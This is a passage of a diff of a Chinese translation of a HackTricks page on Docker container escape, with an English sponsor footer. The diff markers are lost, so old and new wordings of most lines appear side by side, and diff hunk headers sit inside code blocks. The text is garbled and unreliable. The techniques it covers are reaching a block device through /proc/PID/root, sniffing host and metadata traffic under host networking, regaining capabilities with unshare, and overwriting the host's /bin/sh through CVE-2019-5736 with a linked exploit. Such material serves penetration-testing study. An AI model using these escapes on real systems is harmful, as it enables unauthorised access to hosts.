有了这样的功能容器内的root用户可以**创建块设备文件**。设备文件是用于**访问底层硬件和内核模块**的特殊文件。例如,/dev/sda块设备文件可以访问系统磁盘上的原始数据。
Docker通过在容器上设置cgroup策略来阻止从容器内部滥用块设备的读写,**以确保块设备无法从容器内部滥用**。\
然而,如果在容器内部**创建了一个块设备**,则可以通过位于/proc/PID/root/文件夹中的某人(**容器外部的同一用户**)访问该块设备,限制是该**进程必须由容器外部和内部的同一用户拥有**
Docker通过在容器上设置cgroup策略来阻止从容器内部滥用块设备的操作。\
然而,如果在容器内部**创建了一个块设备**,则可以通过位于/proc/PID/root/文件夹中的某个**外部容器**访问它,限制是**进程必须由相同的用户**在容器外部和容器内部拥有
以下是来自[**此篇文章**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)的**利用示例**
```bash
@ -449,20 +450,16 @@ cat /proc/635813/fd/4
```
docker run --rm -it --network=host ubuntu bash
```
如果一个容器配置了Docker的主机网络驱动`--network=host`那么该容器的网络堆栈与Docker主机不隔离容器共享主机的网络命名空间并且容器不会被分配独立的IP地址。换句话说**容器直接绑定到主机的IP上的所有服务**。此外,容器可以**拦截主机发送和接收的所有网络流量**,使用`tcpdump -i eth0`命令。
如果一个容器配置了Docker的主机网络驱动`--network=host`那么该容器的网络堆栈与Docker主机不隔离容器共享主机的网络命名空间并且容器不会被分配独立的IP地址。换句话说**容器将所有服务直接绑定到主机的IP上**。此外,容器可以**拦截主机发送和接收的所有网络流量**,使用`tcpdump -i eth0`命令。
例如,您可以使用此功能在主机和元数据实例之间**嗅探甚至欺骗流量**
例如,您可以使用此功能来**嗅探甚至伪造**主机和元数据实例之间的流量
就像以下示例中所示:
* [Writeup: 如何联系Google SRE在云SQL中获取shell](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [元数据服务MITM允许提升为root权限EKS / GKE](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
* [元数据服务中间人攻击导致根权限提升EKS / GKE](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
您还可以访问主机内部绑定到本地主机的**网络服务**,甚至可以访问节点的**元数据权限**(这可能与容器可以访问的权限不同):
{% content-ref url="../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/" %}
[broken-reference](../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/)
{% endcontent-ref %}
您还可以访问主机内部绑定到本地主机的**网络服务**,甚至可以访问节点的**元数据权限**(这可能与容器可以访问的权限不同)。
### hostIPC
```
@ -475,7 +472,7 @@ docker run --rm -it --ipc=host ubuntu bash
### 恢复权限
如果系统没有禁止`unshare`系统调用,你可以通过运行以下命令来恢复所有权限:
如果系统调用**`unshare`**没有被禁止,你可以通过运行以下命令来恢复所有权限:
```bash
unshare -UrmCpf bash
# Check them with
@ -485,9 +482,8 @@ cat /proc/self/status | grep CapEff
在[https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)的文章中解释了第二种技术,它说明了如何滥用用户命名空间中的绑定挂载,以影响主机内的文件(在该特定情况下,删除文件)。
![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
\
使用[**Trickest**](https://trickest.io/)可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。\
立即获取访问权限:
@ -497,9 +493,9 @@ cat /proc/self/status | grep CapEff
### Runc漏洞利用CVE-2019-5736
如果您可以以root身份执行`docker exec`可能需要sudo则可以尝试利用CVE-2019-5736逃逸容器以提升特权[此处](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)有漏洞利用)。此技术基本上将从容器中**覆盖**主机的_**/bin/sh**_二进制文件因此任何执行docker exec的人都可能触发有效载荷。
如果您可以以root身份执行`docker exec`可能需要sudo则可以尝试通过滥用CVE-2019-5736[此处](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)有漏洞利用)来提升特权。这种技术基本上会从容器中**覆盖**主机上的_**/bin/sh**_二进制文件因此任何执行docker exec的人都可能触发有效载荷。
相应地更改有效载荷,并使用`go build main.go`构建main.go。生成的二进制文件应放置在docker容器中以供执行。\
根据需要更改有效载荷,并使用`go build main.go`构建main.go。生成的二进制文件应放置在docker容器中以供执行。\
执行时,一旦显示`[+] Overwritten /bin/sh successfully`,您需要从主机机器上执行以下操作:
`docker exec -it <container-name> /bin/sh`
@ -516,7 +512,7 @@ cat /proc/self/status | grep CapEff
### Docker逃逸面
* **命名空间:**进程应通过命名空间**完全与其他进程隔离**,因此无法通过命名空间与其他进程进行交互默认情况下无法通过IPC、Unix套接字、网络服务、D-Bus、其他进程的`/proc`进行通信)。
* **命名空间:**进程应通过命名空间与其他进程**完全隔离**因此无法通过命名空间进行交互默认情况下无法通过IPC、Unix套接字、网络服务、D-Bus、其他进程的`/proc`进行通信)。
* **Root用户**默认情况下运行进程的用户是root用户但其权限受限
* **能力:**Docker保留以下能力`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **系统调用:**这些是**root用户无法调用**的系统调用(因为缺乏能力+Seccomp。其他系统调用可用于尝试逃逸。
@ -562,47 +558,6 @@ cat /proc/self/status | grep CapEff
0x118 -- bpf
```
{% tab title="syscall_bf.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/syscall.h>
#define __NR_mkdir 83
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <directory>\n", argv[0]);
return 1;
}
char *dir = argv[1];
int ret = syscall(__NR_mkdir, dir, 0755);
if (ret == -1) {
perror("syscall");
return 1;
}
printf("Directory created successfully\n");
return 0;
}
```
这是一个使用系统调用`mkdir`创建目录的简单C程序。它接受一个命令行参数作为目录名并使用`syscall`函数调用`__NR_mkdir`来创建目录。如果创建成功,将打印"Directory created successfully",否则将打印错误信息。
要编译并运行此程序,可以使用以下命令:
```bash
gcc syscall_bf.c -o syscall_bf
./syscall_bf <directory>
```
请将`<directory>`替换为要创建的目录的名称。
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -666,9 +621,10 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
\
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
@ -681,7 +637,7 @@ Get Access Today:
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>